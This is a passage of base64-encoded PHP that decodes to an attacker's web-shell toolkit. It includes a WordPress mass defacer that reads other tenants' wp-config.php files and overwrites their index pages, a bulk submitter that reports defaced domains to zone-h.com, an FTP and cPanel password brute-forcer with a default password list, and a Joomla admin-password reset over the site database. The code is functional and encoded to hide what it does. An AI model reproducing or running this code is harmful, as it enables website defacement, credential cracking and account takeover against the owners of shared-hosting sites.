YW1lZC5jb25mIik7QHByZWdfbWF0Y2hfYWxsKCcvLio/em9uZSAiKC4qPykiIHsvJywgJGRvbWluaW9zLCAkb3V0KTskb3V0WzFdID0gYXJyYXlfdW5pcXVlKCRvdXRbMV0pOyRudW1lcm9fZG9taW5pb3MgPSBjb3VudCgkb3V0WzFdKTtlY2hvICJUb3RhbCBXZWJzaXRlczogJG51bWVyb19kb21pbmlvcyA8YnI+PGJyPiI7JGRlZiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRkZWZfdXJsKTskZGVmID0gdXJsZW5jb2RlKCRkZWYpOyRiYXNlX3VybCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS5kaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKS4nL3N5bS9yb290L2hvbWUvJzskb3V0cHV0ID0gZm9wZW4oJ2RlZmFjZWQuaHRtbCcsICdhKycpOyRfU0VTU0lPTlsnY291bnQxJ10gPSAoaXNzZXQoJF9HRVRbJ3N0J10pICYmICRfR0VUWydzdCddIT0nJykgPyAoaXNzZXQoJF9TRVNTSU9OWydjb3VudDEnXSkgPyAkX1NFU1NJT05bJ2NvdW50MSddIDowICkgOiAwOyRfU0VTU0lPTlsnY291bnQyJ10gPSAoaXNzZXQoJF9HRVRbJ3N0J10pICYmICRfR0VUWydzdCddIT0nJykgPyAoaXNzZXQoJF9TRVNTSU9OWydjb3VudDInXSkgPyAkX1NFU1NJT05bJ2NvdW50MiddIDowICkgOiAwO2VjaG8gJzx0YWJsZSBzdHlsZT0id2lkdGg6NzUlOyI+PHRyIHN0eWxlPSJiYWNrZ3JvdW5kOnJnYmEoMTYwLCA4MiwgNDUsMC42KTsiPjx0aD5JRDwvdGg+PHRoPlNJRDwvdGg+PHRoPkRvbWFpbjwvdGg+PHRoPlNjcmlwdDwvdGg+PHRoPlByb2Nlc3M8L3RoPjx0aD5SZXN1bHRzPC90aD48L3RyPic7JGogPSAxOyRzdCA9IChpc3NldCgkX0dFVFsnc3QnXSkgJiYgJF9HRVRbJ3N0J10hPScnKSA/ICRfR0VUWydzdCddIDogMDtmb3IoJGkgPSAkc3Q7JGkgPD0gJG51bWVyb19kb21pbmlvczskaSsrKXskZG9tYWluID0gJG91dFsxXVskaV07JGRvbm9fYXJxdWl2byA9IEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluKTskaW5mb3MgPSBAcG9zaXhfZ2V0cHd1aWQoJGRvbm9fYXJxdWl2byk7JGNvbmZpZzAyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRiYXNlX3VybC4kaW5mb3NbJ25hbWUnXS4iL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiKTskY2xzID0gKCRqICUgMiA9PSAwKSA/ICdjbGFzcz0iZXZlbiInIDogJ2NsYXNzPSJvZGQiJztpZigkY29uZmlnMDIgJiYgcHJlZ19tYXRjaCgnL0RCX05BTUUvaScsJGNvbmZpZzAyKSl7ZWNobyAnPHRyICcuJGNscy4nPjx0ZCBhbGlnbj0iY2VudGVyIj4nLigkaisrKS4nPC90ZD48dGQgYWxpZ249ImNlbnRlciI+Jy4kaS4nPC90ZD48dGQ+PGEgaHJlZj0iaHR0cDovLycuJGRvbWFpbi4nIiB0YXJnZXQ9ImJsYW5rIj4nLiRkb21haW4uJzwvYT48L3RkPic7ZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPldPUkRQUkVTUzwvZm9udD48L3RkPic7JHJlcyA9IGluZGV4X2NoYW5nZXJfd3AoJGNvbmZpZzAyLCAkZGVmKTtlY2hvICc8dGQ+Jy4kcmVzWydvdXRwdXQnXS4nPC90ZD4nO2lmKCRyZXNbJ2NvbmQnXSl7ZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+SEFDS0VEPC9zcGFuPjwvdGQ+Jztmd3JpdGUoJG91dHB1dCwgJ2h0dHA6Ly8nLiRkb21haW4uIjxicj4iKTskX1NFU1NJT05bJ2NvdW50MiddID0gJF9TRVNTSU9OWydjb3VudDInXSArIDE7fSBlbHNlIHtlY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+dW5zdWNjZXNzZnVsPC9zcGFuPjwvdGQ+Jzt9ZWNobyAnPC90cj4nO319ZWNobyAnPC90YWJsZT4nO2VjaG8gJzxoci8+JztlY2hvICdUb3RhbCBEZWZhY2UgPSAnLigkX1NFU1NJT05bJ2NvdW50MSddKyRfU0VTU0lPTlsnY291bnQyJ10pLic8YnI+JztlY2hvICc8YSBocmVmPSJkZWZhY2VkLmh0bWwiIHRhcmdldD0iX2JsYW5rIj5MaXN0IFdlYnNpdGVzIERlZmFjZWQ8L2E+PGJyPic7fWVjaG8gJzxoZWFkPjxwPjxoMiBzdHlsZT0iY29sb3I6I0ZGMDAwMDt0ZXh0LWFsaWduOiBjZW50ZXI7Zm9udC1mYW1pbHk6b3JiaXRyb247Zm9udC1zaXplOjI1cHg7Ij5Xb3JkcHJlc3MgTWFzcyBEZWZhY2VyPC9oMj48bGluayBocmVmPSJodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcmJpdHJvbjo3MDAiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keSB7Y29sb3I6IHdoaXRlO2ZvbnQtZmFtaWx5OiAib3JiaXRyb24iO30uaGVhZGVyIHtwb3NpdGlvbjpmaXhlZDt3aWR0aDoxMDAlO3RvcDowO2JhY2tncm91bmQ6IzAwMDt9LmZvb3RlciB7cG9zaXRpb246Zml4ZWQ7d2lkdGg6MTAwJTtib3R0b206MDtiYWNrZ3JvdW5kOiMwMDA7fTwvc3R5bGU+PC9wPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5mdW5jdGlvbiBjaGFuZ2UoKSB7aWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdyY2RcJykuY2hlY2tlZCA9PSB0cnVlKSB7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCd0cmFcJykuc3R5bGUuZGlzcGxheSA9IFwnXCc7fSBlbHNlIHtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3RyYVwnKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7fSB9ZnVuY3Rpb24gaGlkZSgpIHtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3RyYVwnKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7fTwvc2NyaXB0PjwvaGVhZD48Ym9keT48ZGl2IGNsYXNzPSJmb290ZXIiPjxhIGhyZWY9Imh0dHBzOi8vZmFjZWJvb2suY29tL2sybGwzM2QiIHRhcmdldD0iX2JsYW5rIj48aDMgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPicuYmFzZTY0X2RlY29kZSgnYXpKc2JETXpaQT09JykuJzwvaDM+PC9hPjwvZGl2PjxkaXY+JztpZighaXNzZXQoJF9QT1NUWydmb3JtX2FjdGlvbiddKSl7ZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj48Y2VudGVyPjxpbWcgY2xhc3M9IkhvdmVyQm9yZGVyIiBhbHQ9IiIgc3JjPSJkYXRhOmltYWdlL2pwZWc7Jy4kdHVuaXNpYS4nIiAvPjwvY2VudGVyPjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZvcm1fYWN0aW9uIiB2YWx1ZT0iMSI+PGJyPmluZGV4IHVybDo8aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iaW5kZXhhZHJlc2kiIHNpemU9IjMwIiB2YWx1ZT0iaHR0cDovL3NpdGUuY29tL2luZGV4Lmh0bWwiIC8+PGJyPjxicj48aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRGVmYWNlIiBuYW1lPSJTdWJtaXQiPjwvZm9ybT4gPC9kaXY+Jzt9ZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj4nO2lmKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSA9PSAxKSB7ZXhlY19tb2RlXzEoJF9QT1NUWydpbmRleGFkcmVzaSddKTt9ZWNobyAnPC9kaXY+PC9kaXY+PC9ib2R5PjwvaHRtbD4nO30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnem9uZS1oJykpeyRkZWZhY2VyPSdSZVpLMkxMJzskZGlzcGxheV9kZXRhaWxzPTA7JG1ldGhvZD0xNDskcmVhc29uPTU7DQplcnJvcl9yZXBvcnRpbmcoMCk7c2V0X3RpbWVfbGltaXQoMCk7aWYoIWZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jykpe2VjaG8gIkNVUkwgRVJST1JcbiI7ZXhpdDt9JGNsaT0oaXNzZXQoJGFyZ3ZbMF0pKT8xOjA7aWYoJGNsaT09MSl7JGZpbGU9JGFyZ3ZbMV07JHNpdGVzPWZpbGUoJGZpbGUpO2lmKCFmaWxlX2V4aXN0cygkZmlsZSkpe2VjaG8gIjxicj48YnI+PGNlbnRlcj48aDE+ZXJyb3IgITwvaDE+PC9jZW50ZXI+XG4iO2V4aXQ7fX1lbHNle2lmKGZ1bmN0aW9uX2V4aXN0cyhhcGFjaGVfc2V0ZW52KSl7QGFwYWNoZV9zZXRlbnYoJ25vLWd6aXAnLCAxKTt9QGluaV9zZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJywgMCk7QGluaV9zZXQoJ2ltcGxpY2l0X2ZsdXNoJywgMSk7QG9iX2ltcGxpY2l0X2ZsdXNoKHRydWUpO0BvYl9lbmRfZmx1c2goKTtpZihpc3NldCgkX1BPU1RbJ2RvbWFpbnMnXSkpeyRzaXRlcz1leHBsb2RlKCJcbiIsJF9QT1NUWydkb21haW5zJ10pO31pZiAoZmlsZV9leGlzdHMoJF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdKSl7JGZpbGU9JF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdOyRzaXRlcz1maWxlKCRmaWxlKTt9DQplY2hvIDw8PEVPRg0KPGRpdiBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjY3JSI+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PGJyPjxwcmU+DQpFT0Y7DQppZighaXNzZXQoJF9QT1NUWydkZWZhY2VyJ10pKXsNCmVjaG8gPDw8RU9GDQo8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxkaXYgYWxpZ249J2NlbnRlcic+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPkRlZmFjZXImbmJzcDs6PC9iPjwvc3Bhbj48aW5wdXQgY2xhc3M9J2lucHV0eicgbmFtZT0iZGVmYWNlciIgdHlwZT0idGV4dCIgdmFsdWU9IiRkZWZhY2VyIiAvPjxici8+PHRhYmxlIHdpZHRoPSc1NSUnPjx0cj48dGQgYWxpZ249J2NlbnRlcic+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPkRvbWFpbnM6PC9iPjwvc3Bhbj48cCBhbGlnbj0nY2VudGVyJz4mbmJzcDs8dGV4dGFyZWEgcm93cz0nMzAnIG5hbWU9J2RvbWFpbnMnIGNvbHM9JzUwJyBjbGFzcz0naW5wdXR6Jz48L3RleHRhcmVhPjxici8+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPk9SPC9iPjwvc3Bhbj48YnIvPlN1Ym1pdCBmb3JtIC50eHQgZmlsZTo8YnIvPjxpbnB1dCBuYW1lPSJmaWxlIiB0eXBlPSJmaWxlIiAvPjxicj48YnIvPjxici8+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAgICBTZW5kICAgICcgbmFtZT0nc3VibWl0Jz48L3A+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPg0KRU9GOw0KfQ0KJGRlZmFjZXI9JF9QT1NUWydkZWZhY2VyJ107fWlmKCEkc2l0ZXMpe2VjaG8gJzwvcHJlPic7ZXhpdDt9JHNpdGVzPWFycmF5X3VuaXF1ZShzdHJfcmVwbGFjZSgnaHR0cDovLycsJycsJHNpdGVzKSk7JHRvdGFsPWNvdW50KCRzaXRlcyk7ZWNobyAiWytdIFRvdGFsIHVuaXF1ZSBkb21haW46ICR0b3RhbFxuXG4iOyRwYXVzZT0xMDskc3RhcnQ9dGltZSgpOyRtYWluPWN1cmxfbXVsdGlfaW5pdCgpO2ZvcigkbT0wOyRtPDM7JG0rKyl7JGh0dHBbXSA9IGN1cmxfaW5pdCgpO31mb3IoJG49MDskbjwkdG90YWw7JG4gKz0zMCl7aWYoJGRpc3BsYXlfZGV0YWlscz09MSl7Zm9yKCR4PTA7JHg8MzA7JHgrKyl7ZWNobydbK10gQWRkaW5nICcucnRyaW0oJHNpdGVzWyRuKyR4XSkuJyc7ZWNobyAiXG4iO319JGQ9JG4rMzA7aWYoJGQ+JHRvdGFsKXskZD0kdG90YWw7fWVjaG8gIj09PT09PT09PT09PT09PT09PT09PT5bJGQvJHRvdGFsXVxuIjtmb3IoJHc9MDskdzwzOyR3KyspeyRwPSR3ICogMTA7DQppZighKGlzc2V0KCRzaXRlc1skbiskcF0pKSl7JHBhdXNlPSR3O2JyZWFrO30kcG9zdHNbJHddPSJkZWZhY2VyPSRkZWZhY2VyJmRvbWFpbjE9aHR0cCUzQSUyRiUyRiIucnRyaW0oJHNpdGVzWyRuKyRwXSkuIiZkb21haW4yPWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCsxXSkuIiZkb21haW4zPWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCsyXSkuIiZkb21haW40PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCszXSkuIiZkb21haW41PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs0XSkuIiZkb21haW42PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs1XSkuIiZkb21haW43PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs2XSkuIiZkb21haW44PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs3XSkuIiZkb21haW45PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs4XSkuIiZkb21haW4xMD1odHRwJTNBJTJGJTJGIi5ydHJpbSgkc2l0ZXNbJG4rJHArOV0pLiImaGFja21vZGU9Ii4kbWV0aG9kLiImcmVhc29uPSIuJHJlYXNvbi4iJnN1Ym1pdD1TZW5kIjskY3VybG9wdD1hcnJheShDVVJMT1BUX1VTRVJBR0VOVCA9PiAnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xO1dPVzY0KSBBcHBsZVdlYktpdC81MzUuMTYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTguMC4xMDAzLjEgU2FmYXJpLzUzNS4xNicsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLENVUkxPUFRfRk9MTE9XTE9DQVRJT04gPT50cnVlLENVUkxPUFRfRU5DT0RJTkcgPT4gdHJ1ZSxDVVJMT1BUX0hFQURFUiA9PiBmYWxzZSxDVVJMT1BUX0hUVFBIRUFERVIgPT4gYXJyYXkoIktlZXAtQWxpdmU6IDciKSxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VUID0+IDMsQ1VSTE9QVF9VUkwgPT4gJ2h0dHA6Ly93d3cuem9uZS1oLmNvbS9ub3RpZnkvbWFzcycsQ1VSTE9QVF9QT1NURklFTERTID0+ICRwb3N0c1skd10pOw0KY3VybF9zZXRvcHRfYXJyYXkoJGh0dHBbJHddLCRjdXJsb3B0KTtjdXJsX211bHRpX2FkZF9oYW5kbGUoJG1haW4sJGh0dHBbJHddKTt9JHJ1bm5pbmcgPSBudWxsOw0KZG97Y3VybF9tdWx0aV9leGVjKCRtYWluLCRydW5uaW5nKTt9d2hpbGUoJHJ1bm5pbmcgPiAwKTsNCmZvcigkbT0wOyRtPDM7JG0rKyl7aWYoJHBhdXNlPT0kbSl7YnJlYWs7fQ0KY3VybF9tdWx0aV9yZW1vdmVfaGFuZGxlKCRtYWluLCAkaHR0cFskbV0pOyRjb2RlID0gY3VybF9nZXRpbmZvKCRodHRwWyRtXSwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCmlmICgkY29kZSAhPSAyMDApIHt3aGlsZSh0cnVlKXtlY2hvJyBbLV1FcnJvciEuLi4uUmV0cnlpbmcnO2VjaG8gIlxuIjsNCnNsZWVwKDUpO2N1cmxfZXhlYygkaHR0cFskbV0pOyRjb2RlID0gY3VybF9nZXRpbmZvKCRodHRwWyRtXSwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCmlmKCAkY29kZT09IDIwMCl7YnJlYWsgMTt9fX19fSRlbmQ9IHRpbWUoKSAtICRzdGFydDsNCmVjaG8gJ0RvbmUnO2VjaG8gIlxuXG5bKl1UaW1lOiAkZW5kIHNlY29uZHNcbiI7Y3VybF9tdWx0aV9jbG9zZSgkbWFpbik7aWYoJGNsaT09MCl7ZWNobyAnPC9wcmU+PC9ib2R5PjwvaHRtbD4nO31leGl0O30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnYnJ1dGUnKSl7JGNvbm5lY3RfdGltZW91dD01Ow0Kc2V0X3RpbWVfbGltaXQoMCk7JHN1Ym1pdD0kX1JFUVVFU1RbJ3N1Ym1pdCddOyR1c2Vycz0kX1JFUVVFU1RbJ3VzZXJzJ107JHBhc3M9JF9SRVFVRVNUWydwYXNzd29yZHMnXTskdGFyZ2V0PSRfUkVRVUVTVFsndGFyZ2V0J107JGNyYWNrdHlwZT0kX1JFUVVFU1RbJ2NyYWNrdHlwZSddOw0KaWYoJHRhcmdldCA9PSAiIil7JHRhcmdldCA9ICJsb2NhbGhvc3QiO30/PjxkaXYgYWxpZ249ImNlbnRlciI+PGZvcm0gbWV0aG9kPSJQT1NUIiBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMCI+PGJyPjw/cGhwDQpmdW5jdGlvbiBmdHBfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpew0KJGNoID0gY3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZ0cDovLyRob3N0Iik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRlRQTElTVE9OTFksIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTtjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTskZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMjggKSB7cHJpbnQgIjxiPkNvbm5lY3Rpb24gVGltZWQgb3V0PC9iPiI7ZXhpdDt9DQplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApe3ByaW50ICI8dGFibGUgd2lkdGg9JzY3JSc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+VXNlcm5hbWUgKCR1c2VyKSB8IFBhc3N3b3JkICgkcGFzcyk8L2I+PC90ZD48L3RyPjwvdGFibGU+Ijt9Y3VybF9jbG9zZSgkY2gpO30NCmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7JGNoID0gY3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly8kaG9zdDoyMDgyIik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiR1c2VyOiRwYXNzIik7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7JGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsNCmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkge3ByaW50ICI8Yj5Db25uZWN0aW9uIFRpbWVkIG91dDwvYj4iO2V4aXQ7fQ0KZWxzZWlmICggY3VybF9lcnJubygkY2gpID09IDAgKXsNCnByaW50ICI8dGFibGUgd2lkdGg9JzY3JSc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+WytdVXNlcm5hbWUgKCR1c2VyKSB8IFBhc3N3b3JkICgkcGFzcyk8L2I+PC90ZD48L3RyPjwvdGFibGU+Ijt9Y3VybF9jbG9zZSgkY2gpO31pZihpc3NldCgkc3VibWl0KSAmJiAhZW1wdHkoJHN1Ym1pdCkpew0KaWYoZW1wdHkoJHVzZXJzKSAmJiBlbXB0eSgkcGFzcykpe3ByaW50ICI8cD48Yj5FcnJvciA6IENoZWNrIFRoZSBVc2VycyBhbmQgUGFzc3dvcmQgTGlzdDwvYj48L3A+IjtleGl0O30NCmlmKGVtcHR5KCR1c2Vycykpe3ByaW50ICI8cD48Yj5FcnJvciA6Q2hlY2sgVGhlIFVzZXJzIExpc3Q8L2I+PC9wPiI7ZXhpdDt9aWYoZW1wdHkoJHBhc3MpICl7cHJpbnQgIjxwPjxiPkVycm9yIDpDaGVjayBUaGUgUGFzc3dvcmQgTGlzdDwvYj48L3A+IjtleGl0O307DQokdXNlcmxpc3Q9ZXhwbG9kZSgiXG4iLCR1c2Vycyk7JHBhc3NsaXN0PWV4cGxvZGUoIlxuIiwkcGFzcyk7cHJpbnQgIjxiPlt+XSBXYWl0IC4uLjwvYj48YnI+PGJyPiI7Zm9yZWFjaCAoJHVzZXJsaXN0IGFzICR1c2VyKSB7JHB1cmV1c2VyID0gdHJpbSgkdXNlcik7Zm9yZWFjaCAoJHBhc3NsaXN0IGFzICRwYXNzd29yZCApIHskcHVyZXBhc3MgPSB0cmltKCRwYXNzd29yZCk7aWYoJGNyYWNrdHlwZSA9PSAiZnRwIil7ZnRwX2NoZWNrKCR0YXJnZXQsJHB1cmV1c2VyLCRwdXJlcGFzcywkY29ubmVjdF90aW1lb3V0KTt9aWYgKCRjcmFja3R5cGUgPT0gImNwYW5lbCIpe2NwYW5lbF9jaGVjaygkdGFyZ2V0LCRwdXJldXNlciwkcHVyZXBhc3MsJGNvbm5lY3RfdGltZW91dCk7fX19fSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQplY2hvICI8Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PHRhYmxlIHdpZHRoPSc2NyUnPjx0cj48dGQ+PGJyPjxwIGFsaWduPSdjZW50ZXInPjxiPjxzcGFuIGxhbmc9J2VuLXVzJz5JUDwvc3Bhbj4gOjxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSd0YXJnZXQnIHNpemU9JzE2JyB2YWx1ZT0kdGFyZ2V0PjwvYj48L3A+PGRpdiBhbGlnbj0nY2VudGVyJz48cCBhbGlnbj0nY2VudGVyJz51c2Vyczx0ZXh0YXJlYSBjbGFzcz0naW5wdXR6JyBjb2xzPTIwIHJvd3M9MjAgbmFtZT0ndXNlcnMnPiI7DQpzeXN0ZW0oJ2xzIC92YXIvbWFpbCcpOw0KZWNobyAiPC90ZXh0YXJlYT5wYXNzd29yZHM8dGV4dGFyZWEgY2xhc3M9J2lucHV0eicgY29scz0yMCByb3dzPTIwIG5hbWU9J3Bhc3N3b3Jkcyc+MTIzMTIzXG4xMjM0NTZcbjEyMzQ1NjdcbjEyMzQ1Njc4XG4xMjM0NTY3ODlcbjE1OTE1OVxuMTEyMjMzXG5hZG1pblxuMzMyMjExXG4xNDc4OTYzXG5wYXNzd29yZFxucGFzc3dkXG4xNTkzNTdcbjM1Nzk1MVxuMTE0NDc3XG5wYXNzXG5QYXNzd29yZDwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgbmFtZT0nY3JhY2t0eXBlJyB2YWx1ZT0nY3BhbmVsJyBjaGVja2VkIHR5cGU9J3JhZGlvJz48L3NwYW4+PGI+Q3BhbmVsKDIwODIpPC9iPjxpbnB1dCBuYW1lPSdjcmFja3R5cGUnIHZhbHVlPSdmdHAnIHN0eWxlPSdmb250LXdlaWdodDogNzAwOycgdHlwZT0ncmFkaW8nPjwvZm9udD48L2ZvbnQ+PGZvbnQgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBzaXplPScyJyBmYWNlPSdUYWhvbWEnPjxzcGFuIHN0eWxlPSdmb250LXdlaWdodDogNzAwOyc+RnRwICgyMSk8L3NwYW4+PC9wPjxicj48Y2VudGVyPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTdGFydCBDcmFja2luZycgbmFtZT0nc3VibWl0Jz48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+PC9mb3JtPiI7ZGllKCk7fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdqb29tbGEnKSl7aWYoZW1wdHkoJF9QT1NUWydwd2QnXSkpe2VjaG8gIjxicj48YnI+PGJyPjxGT1JNIG1ldGhvZD0nUE9TVCc+PGJyPjxicj48YnI+REJfUHJlZml4IDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nam9zXycgbmFtZT0ncHJlZml4JyB0eXBlPSd0ZXh0Jz4mbmJzcDtob3N0IDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nbG9jYWxob3N0JyBuYW1lPSdsb2NhbGhvc3QnIHR5cGU9J3RleHQnPiZuYnNwO2RhdGFiYXNlIDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nZGF0YWJhc2UnIG5hbWU9J2RhdGFiYXNlJyB0eXBlPSd0ZXh0Jz4mbmJzcDt1c2VybmFtZSA6Jm5ic3A7Jm5ic3A7PElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3VzZXInIG5hbWU9J3VzZXJuYW1lJyB0eXBlPSd0ZXh0Jz4mbmJzcDtwYXNzd29yZCA6Jm5ic3A7Jm5ic3A7PElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz48YnI+Jm5ic3A7Jm5ic3A7PGJyPk5ldyBVc2VybmFtZTombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J2FkbWluJyBzaXplPScxNScgdmFsdWU9J2syJz48YnI+PGJyPk5ldyBQYXNzd29yZDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J3B3ZCcgc2l6ZT0nMTUnIHZhbHVlPScxMjMxMjMnPjxicj48YnI+Jm5ic3A7Jm5ic3A7PElOUFVUIHZhbHVlPSdjaGFuZ2UnIGNsYXNzPSdpbnB1dHpidXQnIG5hbWU9J3NlbmQnIHR5cGU9J3N1Ym1pdCc+PC9GT1JNPiI7fWVsc2UgeyRwcmVmaXggPSAkX1BPU1RbJ3ByZWZpeCddOyRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOyRkYXRhYmFzZSAgPSAkX1BPU1RbJ2RhdGFiYXNlJ107JHVzZXJuYW1lICA9ICRfUE9TVFsndXNlcm5hbWUnXTskcGFzc3dvcmQgID0gJF9QT1NUWydwYXNzd29yZCddOyRhZG1pbiA9ICRfUE9TVFsnYWRtaW4nXTskcGQgPSAoJF9QT1NUWyJwd2QiXSk7JHB3ZCA9IG1kNSgkcGQpO0BteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkgb3IgZGllIChteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllIChteXNxbF9lcnJvcigpKTskU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXN